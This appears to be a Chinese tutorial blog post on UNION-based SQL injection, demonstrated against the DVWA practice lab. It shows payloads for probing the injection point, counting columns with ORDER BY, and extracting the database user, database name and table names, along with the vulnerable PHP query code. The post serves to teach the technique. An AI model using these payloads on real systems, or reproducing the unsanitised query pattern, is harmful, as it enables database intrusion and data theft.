前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入系列篇之union联合注入

SQL注入系列篇之union联合注入

原创
作者头像
第59号实验室
发布2023-04-26 10:29:46
2.7K0
发布2023-04-26 10:29:46
举报
文章被收录于专栏:企业安全企业安全

一:union注入概念

我们知道,SQL语句的union联合查询常用格式如下

select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

图片
图片

而在注入过程中,我们把union select 4,5,6 from table_name2部分称作是union注入部分,它的主要特点是通过union和前面一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同,如1,2,3==4,5,6均为3列。我们把这种注入方式称为union注入

二:union注入利用流程

这里我用DVWA靶机环境的SQL Injection部分做演示。输入1 发送正常请求得到返回值

图片
图片
1. 判断注入点类型

在本篇文章我们重点放在构造union注入部分,探测注入点类型这里就简单过一下。依次输入 3-2;1 and 1=1; 1” and “1”=”1;1’ and ‘1’=’1; 查看回显页面可知,该输入点存在单引号的字符型注入。可根据 1’ and ‘1’=’1;1’ and ‘1’=’2 的输入结果判断

图片
图片

1' and '1'='1

图片
图片

1' and '1'='2

2. 判断后台SQL的列数

在概念部分我们知道union注入的关键点之一就是要判断原SQL的列数,这里我们可以通过order by n #来判断。n 表示列数,#表示注释,用于注释点order by n后面部分的SQL。依次输入1’ order by 5#;1’ order by 3#;1’ order by 2#

1' order by 5#

1' order by 2#

在1’ order by 5#时,由于原SQL列数少于5,所以报错,在不断减小n的值之后,直到n=2时不再报错,此时可以判断原SQL的列数为2

3. union注入探测

首先构造输入,使输入能正确拼接在后台原始SQL中。输入 1’ union select 1,2 #

图片
图片

1' union select 1,2 #

1’ 部分表示与原始SQL的单引号拼接成完整字符 union 部分表示与原始SQL语句拼接 select 1,2 部分是SQL注入攻击者可以控制写的SQL,其中一定要保持只有2列 # 部分注释掉原始SQL的后半部分 执行成功后,我们可以在select 1,2部分进行变形,如select user(),database()。即在输入点输入 1’ union select user(),database()#。得到用户名和数据库名

图片
图片

1' union select user(),database()#

接下来我们可以尝试获取所有表名,列名,表中数据等等。以获取表名为例,在输入点输入1’ union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #

1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #

通过这条语句我们得到了当前数据库名dvwa下的所有表名,含有guestbook;users两个表。只要适当修改SQL就可获取表的数据

三:后台SQL及拼接后的原型

从dvwa后台可知,处理该请求的后台语句如下

12345678910111213141516171819202122232425262728

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {    // Get input    $id = $_REQUEST[ 'id' ];    // Check database    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );    // Get results    $num = mysql_numrows( $result );    $i   = 0;    while( $i < $num ) {        // Get values        $first = mysql_result( $result, $i, "first_name" );        $last  = mysql_result( $result, $i, "last_name" );        // Feedback for end user        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";        // Increase loop count        $i++;    }    mysql_close();}?>

后台SQL为”SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;” ,将用户输入$id直接拼接在原始SQL中,所以我们构造的部分输入到数据库中执行时的完整SQL如下

1234567891011121314151617181920

1' and '1'='1SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';1' and '1'='2SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='2';1' order by 5#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 5#';1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';1' union select user(),database()#SELECT first_name, last_name FROM users WHERE user_id = '1' union select user(),database()#';1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #';

四:总结

union注入攻击,通过union或union all连接,将自己写的SQL拼接到原始SQL中,从而达到执行任意SQL语句的效果。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一:union注入概念
  • 二:union注入利用流程
    • 1. 判断注入点类型
      • 2. 判断后台SQL的列数
        • 3. union注入探测
        • 三:后台SQL及拼接后的原型
        • 四:总结
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档